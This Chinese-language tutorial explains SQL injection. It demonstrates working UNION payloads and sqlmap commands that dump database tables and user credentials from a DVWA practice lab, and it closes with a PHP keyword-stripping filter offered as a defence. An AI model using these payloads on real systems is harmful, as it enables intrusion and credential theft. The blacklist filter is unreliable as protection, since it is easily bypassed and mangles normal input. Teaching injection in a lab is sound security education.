文章目录
0X00 数据库相关概念
数据(DATA):图像、语音、文字
在计算机系统中,各种字母、数字符号的组合、语音、图形、图像等统称为数据。
数据库(Database):Access、MSSQL、Oracle、SQLITE、MySQL等
数据库是按照数据结构来组织、存储和管理数据的“仓库”。
数据库管理系统(DBMS):Access、MSSQL、Oracle、SQLITE、MySQL等
数据库管理系统(database management system)是一种操纵和管理数据库的软件,用于建立、使用和维护数据库。它对数据库进行统一的管理和控制,以保证数据库的安全性和完整性。
结构化查询语言(SQL):DQL、DDL、DML、TCL、DCL
结构化查询语言(Structured Query Language)简称SQL,结构化查询语言是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。
数据库常见的操作
1、增删改查:insert,update,delete,select
查询user表的所有数据
select * from user;
查询user表“name”等于“admin”的数据;
select * from user where name="admin";
往user表里面增加一个用户admin,并且密码为admin@123,电话1318888888
insert into user values("admin","admin@123","13188888888");
更改admin用户的密码为password
update user set password="password" where name="admin";
删除新增admin用户所在的行
delete from user where name="admin";
2、SQL order by 语句
order by语句通常是用来做排序的,默认按照升序排序。
但是在SQL注入中order by主要用来判断当前表是有多少列,然后配合联合查询来爆数据。
order by用法:http://10.1.131.10/cms/show.php?id=35利用order by来看当前表有多少列。
http://10.1.131.10/cms/show.php?id=35 order by 10回显正常
http://10.1.131.10/cms/show.php?id=35 order by 15回显正常
http://10.1.131.10/cms/show.php?id=35 order by 16回显不正常
以上说明当前表有15列。
3、union联合查询
利用联合查询把2个表的数据合在一个表里面
select * from user union all select * from table2;
如果不想看到前面的查询内容而只想看到后面的内容,可以使前面的查询结果为false:
select * from user where name=1 union all select * from table2;
user表里面没有name=1的,所以前面的查询返回false
4、MySql数据库
SQL注入中最常见利用的系统数据库,经常利用系统数据库配合union联合查询来获取数据库相关信息,因为系统数据库中所有信息都在这个数据库里面,比如所有数据库名、所有的表名、列名以及列名的数据库类型等,这里主要关注MYSQL系统数据库information_schema,关注系统数据库的表columns和schema表以及tables表:
SCHEMATA表:提供了关于数据库的信息
COLUMNS表:给出了表中的列信息
TABLES表:给出了关于数据库中的表的信息
4.1 COLUMNS表查询数据库名
同表schemata一样,查询columns表里面的table_schema列一样可以得到所有数据库名:
select distinct table_schema from information_schema.columns;
4.2COLUMNS表查询列名
查询当前数据库所有列:
select distinct column_name from information_schema.columns;查询到当前有2232个列名
4.3COLUMNS表查询表名
查询当前所有表名:
select distinct table_name from information_schema.columns;查询结果当前473个表名
4.4TABLES表查询数据库名
同表columns以及schemata一样,查询tables表里面的table_schema列一样可以得到所有数据库名:
select distinct table_schema from information_schema.tables;
4.5TABLES表查询表名
同columns表一样,从tables表里面的所有表名:
select distinct table_name from information_schema.tables;
4.6MySQL函数
SQL函数是在SQL注入中用的比较多的,经常利用SQL函数来判断数据库的版本,当前用户,当前用户权限以及数据库的安装路径等等,以下是常用的MYSQL函数:
system_user()系统用户名
user()用户名
current_user() 当前用户名
session_user() 连接数据库用的用户名
database() 数据库名
version() mysql数据库版本
load_file() mysql读取本地文件的函数
@@datadir 数据库路径
@@basedir mysql安装路径
@@version_compile_os 操作系统
0X01SQL注入相关概念
1、静态页面
html或者htm,是一种静态的页面格式,不需要服务器解析其中的脚本。由浏览器如(IE、Chrome等)解析。
1.不依赖数据库
2.灵活性差,制作、更新、维护麻烦
3.交互性交差,在功能方面有较大的限制
4.安全,不存在SQL注入漏洞
2、动态页面
asp、aspx、php、jsp等,由相应的脚本引擎来解释执行,根据指令生成静态网页。
1.依赖数据库
2.灵活性好,维护简便
3.交互性好,功能强大
4.存在安全风险,可能存在SQL注入漏洞,这里要纠正一点,不是会动的或者有动态GIF图片就是动态网站,一定要是有上门所述的脚本语言构成的网站,如下图所示是一个php脚本搭建的动态网站
3、WEB应用工作原理
4、SQL注入定义
SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句
**本质:**代码数据不区分。
**成因:**未对用户提交的参数数据进行校验或有效的过滤,直接进行SQL语句拼接,改变了原有SQL语句的语义,传入数据库解析引擎中执行。
**结果:**SQL注入。
5、SQL注入触发
所有的输入只要和数据库进行交互的,都有可能触发SQL注入
常见的包括:
Get参数触发SQL注入
POST参数触发SQL注入
Cookie触发SQL注入
其他参与sql执行的输入都有可能进行SQL注入
6、SQL注入过程
7、SQL注入场景
一切用户可控参数的地方,比如:URL路径、GET/POST请求参数、HTTP请求头
8、SQL注入的作用
- 绕过登录验证:使用万能密码登录网站后台等
- 获取敏感数据:获取网站管理员帐号、密码等
- 文件系统操作:列目录,读取、写入文件等
- 注册表操作:读取、写入、删除注册表等
- 执行系统命令:远程执行命令
0X02 注入漏洞分类
1、数字型注入
http://www.test.com/test.php?id=1
猜测SQL语句为:select * from table where id=1
测试:
http://www.test.com/test.php?id=1’
SQL语句为:select * from table where id=1’ ,页面出现异常
http://www.test.com/test.php?id=1 and 1=1
SQL语句为:select * from table where id=1 and 1=1 ,页面正常
http://www.test.com/test.php?id=1 and 1=2
SQL语句为:select * from table where id=1 and 1=2,返回数据与原始请求不同
注:当输入的参数为整型时,如:ID,年龄,页码等,如果存在注入漏洞,则可以认为是数字型注入。
2、字符型注入
数字型:select * from table where id =1
字符型:select * from table where username=‘test’
字符型注入最关键的是如何闭合SQL语句以及注释多余的代码
查询内容为字符串时:select * from table where username = ‘test’
测试:
select * from table where username = 'test and 1=1'
无法注入,“test and 1=1”会被数据库当作查询的字符串
select * from table where username = 'test' and '1'='1' --'
必须闭合字符串才可以继续注入
数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合
3、数据库注释的语法
4、测试语句
5、SQL注入分类细化
5.1按照数据类型:
- 数字形(Integer)
- 字符型(String)
5.2按返回结果:
- 显错注入(Error-Based)
- 盲注(Boolean/Time-Based Blind)
5.3其他分类
- POST注入:注入字段在POST数据中
- Cookie注入:注入字段在Cookie数据中
- 搜索注入:注入处为搜索的点
- Baes64注入:注入字符串需要经过base64加密
- 布尔型盲注:即可以根据返回页面判断条件真假的注入
- 时间延迟型盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断
- 报错回显型注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
- 联合查询型注入:可以使用union的情况下的注入
- 堆查询型注入:可以同时执行多条语句的执行时的注入
6、演示:以DVWA的字符型注入为例
6.1判断是否存在注入
执行
http://49.234.33.158/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#
结果如下:
再执行
http://49.234.33.158/DVWA/vulnerabilities/sqli/?id=1'&Submit=Submit#
结果如下:
表明参数类型为字符型。
再执行
http://49.234.33.158/DVWA/vulnerabilities/sqli/?id=1'and'1'='1&Submit=Submit#
结果如下:
产生的结果与id=1的内容相同。
接着执行
http://49.234.33.158/DVWA/vulnerabilities/sqli/?id=1'and'1'='2&Submit=Submit#
不显示任何内容。
表明此处可能存在有注入漏洞。
6.2利用order by判断该数据表的字段数量
执行
http://49.234.33.158/DVWA/vulnerabilities/sqli/?id=1'order by 5%23&Submit=Submit#
结果如下:
通过更换order by后面的数字,直到能够返回正常的最大值:2
由此可得到该数据表的字段数为2。
6.3用union查询标记可以执行SQL的位置
执行
http://49.234.33.158/DVWA/vulnerabilities/sqli/?id=1'union select 1,2%23&Submit=Submit#
结果如下是:表明在1,2处可以执行SQL语句。
6.4用datebase()函数在1处查询当前数据库名
执行
http://49.234.33.158/DVWA/vulnerabilities/sqli/?id=1'union select database(),2%23&Submit=Submit#
结果为:
6.5查询dvwa数据库的表
执行
http://49.234.33.158/DVWA/vulnerabilities/sqli/?id=1'union select (select table_name from information_schema.tables where table_schema = 'dvwa' limit0,1),2%23&Submit=Submit#
结果如下:
得到了dvwa的第一个表guestbook,以同样的方式改变limit的参数为limit1,1可获得第二个表users。如下图:
比较两个表名,推测用户名可能在users表中,故先查询users中的字段。
6.6查询users表中的字段
执行
http://49.234.33.158/DVWA/vulnerabilities/sqli/?id=1'union select (select column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' limit 0,1),2%23&Submit=Submit#
结果如下:
得出来users表的的第一个字段为user_id,同理可得第二个为 first_name,第三个为last_name,第四个为user,第五个为password,第六个为avatar,······
6.7获取user字段的第二个数据和password字段的第二个数据
执行
http://49.234.33.158/dvwa/vulnerabilities/sqli/?id=1'union select (select user from dvwa.users limit 1,1),2%23&Submit=Submit#
获得user字段的第二个数据为:
执行
http://49.234.33.158/dvwa/vulnerabilities/sqli/?id=1'union select (select password from dvwa.users limit 1,1),2%23&Submit=Submit#
获得password字段的第二个数据
MD5解密密码得:
尝试登陆:
登陆成功!
0X03 SQL注入的利用工具:sqlmap
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:
- 1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
- 2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
- 3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
- 4)联合查询注入,可以使用union的情况下的注入。
- 5)堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap常用命令
sqlmap -u http://10.1.131.10/cms/show.php?id=35 --dbs
-u 指定检测的URL地址 –dbs列出数据库
sqlmap -u http://10.1.131.10/cms/show.php?id=35 -D cms --tables
获取指定数据库cms的表名
sqlmap -u http://10.1.131.10/cms/show.php?id=35 -D cms -T cms_users --columns
获取指定数据库cms及指定表cms_users的列名
sqlmap -u http://10.1.131.10/cms/show.php?id=35 -D cms -T cms_users -C username,password --dump
dump列username和password的值
-r c:\sqltest.txt 加载请求数据
–cookie=COOKIE 登录后的cookie
–proxy=“http://127.0.0.1:8080” 使用HTTP代理
0X04防御SQL注入
SQL注入的危害
这些危害包括但不局限于:
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
- 网页篡改:通过操作数据库对特定网页进行篡改。
- 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
- 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
- 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
- 破坏硬盘数据,瘫痪全系统。
一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大。
防御手段:过滤用户输入
过滤对象
- 用户的输入
- 提交的URL请求中的参数部分
- 从cookie中得到的数据
- 部署防SQL注入系统或脚本
过滤类容
单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符,如图PHP中利用
str_replace方法把特殊字符替换成空格,如下:
function dowith_sql($a){
$a = str_replace("and","",$a);
$a = str_replace("execute","",$a);
$a = str_replace("update","",$a);
$a = str_replace("count","",$a);
$a = str_replace("chr","",$a);
$a = str_replace("ma","",$a);
$a = str_replace("master","",$a);
$a = str_replace("truncate","",$a);
$a = str_replace("char","",$a);
$a = str_replace("declare","",$a);
$a = str_replace("select","",$a);
$a = str_replace("create","",$a);
$a = str_replace("delete","",$a);
$a = str_replace("insert","",$a);
//$a = str_replace("'","",$a);
$a = str_replace("\"","",$a);
$a = str_replace(" ","",$a);
$a = str_replace("or","",$a);
$a = str_replace("=","",$a);
$a = str_replace("%20","",$a);
return $a;
}